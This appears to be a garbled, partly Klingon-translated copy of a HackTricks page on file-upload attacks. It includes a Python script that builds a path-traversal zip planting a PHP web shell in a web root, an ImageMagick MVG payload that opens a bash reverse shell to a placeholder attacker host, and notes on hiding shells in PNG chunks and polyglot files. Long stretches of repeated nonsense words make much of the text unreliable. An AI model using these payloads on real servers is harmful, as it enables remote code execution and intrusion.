vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhutlhbe'lu'chugh vItlhut

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Qa'vIn compression vItlhutlh

Qapchu' ghItlhvam: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/ Daq yIlo'

  1. PHP Shell Qap: PHP code 'ej $_REQUEST ghItlhvam 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' 'ej 'e' **'ej
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Embedding PHP Shell on PNG

PNG IDAT chunks vItlh png file PHP shell embed vItlh bypass certain image processing operations. PHP-GD imagecopyresized imagecopyresampled functions relevant context commonly resize resample images. Embedded PHP shell remain unaffected operations advantage use cases.

Detailed exploration technique, methodology potential applications, article: "Encoding Web Shells in PNG IDAT chunks". Resource comprehensive understanding process implications.

More information: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Polyglot files unique tool cybersecurity, chameleons validly exist multiple file formats simultaneously. Intriguing example GIFAR GIF RAR archive hybrid. Files limited pairing; combinations GIF JS PPT JS feasible.

Core utility polyglot files capacity circumvent security measures screen files type. Common practice various applications permit file types upload—JPEG, GIF, DOC—mitigate risk potentially harmful formats JS, PHP, Phar files. Polyglot, conforming structural criteria multiple file types, stealthily bypass restrictions.

Despite adaptability, polyglots encounter limitations. Instance, polyglot simultaneously embody PHAR file (PHp ARchive) JPEG, success upload hinge platform's file extension policies. System stringent allowable extensions, mere structural duality polyglot suffice guarantee upload.

More information: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

References


Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: